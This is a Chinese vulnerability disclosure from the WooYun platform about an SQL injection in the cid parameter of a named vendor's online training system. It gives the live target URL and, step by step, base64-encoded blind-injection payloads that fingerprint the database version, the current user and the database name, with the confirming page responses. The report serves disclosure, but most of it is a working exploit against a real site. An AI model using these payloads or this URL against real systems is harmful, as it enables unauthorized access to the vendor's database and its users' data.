### 简要描述:
RT
### 详细说明:
接上一个洞: [WooYun: 某在线培训系统通用SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-0120630)
厂商:上海天柏信息科技有限公司
http://www.timber2005.com/Product_sy.html (客户案例及试用)
天柏在线培训系统(网校版)
漏洞地址:
http://px2.timber2005.com/WebPage/kc_content.aspx?tid=NDAyMA==&cid=Mjk=
参数cid存在注入
tid和cid都采用了base64的编码,因此提交的时候需要对参数进行编码
提交:
```
29 and 1=1
```
编码后:
```
MjkgYW5kIDE9MQ==
```
[<img src="https://images.seebug.org/upload/201506/1616131054e30f738fdf6d094532fb435e654580.png" alt="150615_31.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/1616131054e30f738fdf6d094532fb435e654580.png)
页面正常
再提交:29 and 1=2
编码:MjkgYW5kIDE9Mg==
页面异常,如图
[<img src="https://images.seebug.org/upload/201506/161614027339c40fb8a773206c138140eded01c3.png" alt="150615_32.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/161614027339c40fb8a773206c138140eded01c3.png)
判断为数字型注入。
提交:29 order by 8--
提示异常:
```
http://px2.timber2005.com/WebPage/kc_content.aspx?tid=NDAyMA==&cid=Mjkgb3JkZXIgYnkgOC0t
```
```
ORDER BY 子句中的位置号 8 超过了选择列表中项数目。
```
[<img src="https://images.seebug.org/upload/201506/161615322e2ba6e63cc33c0425a89c7754245fa1.png" alt="150615_33.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/161615322e2ba6e63cc33c0425a89c7754245fa1.png)
最终判断出字段是7个,但不能展示查询结果,原因是执行了多次SQL导致的,因此这个注入就需要靠盲注了。
盲注入代码:
1、判断数据库:
提交:
```
29 and @@VERSION LIKE '%2000%'--
```
URL:http://px2.timber2005.com/WebPage/kc_content.aspx?tid=NDAyMA==&cid=MjkgYW5kIEBAVkVSU0lPTiBMSUtFICclMjAwMCUnLS0=
[<img src="https://images.seebug.org/upload/201506/16163236f5646083491ab0f3eef6a3e026180f6b.png" alt="150615_34.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/16163236f5646083491ab0f3eef6a3e026180f6b.png)
页面正常,判断为MSSQL 2000的数据库
2、判断用户
提交:29 and substring(user,1,3)='dbo'
编码:MjkgYW5kIHN1YnN0cmluZyh1c2VyLDEsMyk9J2Ribyc=
URL:http://px2.timber2005.com/WebPage/kc_content.aspx?tid=NDAyMA==&cid=MjkgYW5kIHN1YnN0cmluZyh1c2VyLDEsMyk9J2Ribyc=
页面正常
[<img src="https://images.seebug.org/upload/201506/16163546efaa2cecb299d1c05b4e09d72c79e437.png" alt="150615_35.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/16163546efaa2cecb299d1c05b4e09d72c79e437.png)
判断为用户为:dbo
3、判断数据库名
跟上面类似,因为上一个洞已经跑出过db_name(),所有这里演示就直接测试了
提交:29 and substring(db_name(),1,15)='Timber_Exam_Org'
编码:http://px2.timber2005.com/WebPage/kc_content.aspx?tid=NDAyMA==&cid=MjkgYW5kIHN1YnN0cmluZyhkYl9uYW1lKCksMSwxNSk9J1RpbWJlcl9FeGFtX09yZyc=
页面显示正常,如图
[<img src="https://images.seebug.org/upload/201506/16164626f49340e890da6d796acf6f88187a264a.png" alt="150615_36.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/16164626f49340e890da6d796acf6f88187a264a.png)
说明数据库是:
Timber_Exam_Org
反例:如果我提交:29 and substring(db_name(),1,15)='Timber_Exam_Orc'是不正确的信息,那么页面直接异常,
http://px2.timber2005.com/WebPage/kc_content.aspx?tid=NDAyMA==&cid=MjkgYW5kIHN1YnN0cmluZyhkYl9uYW1lKCksMSwxNSk9J1RpbWJlcl9FeGFtX09yYyc=
如图
[<img src="https://images.seebug.org/upload/201506/161646030f5b93ca4dacd76dbb7a384f04f7129d.png" alt="150615_38.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/161646030f5b93ca4dacd76dbb7a384f04f7129d.png)
其他信息过程类似。。。不一一演示
### 漏洞证明:
已证明
暂无评论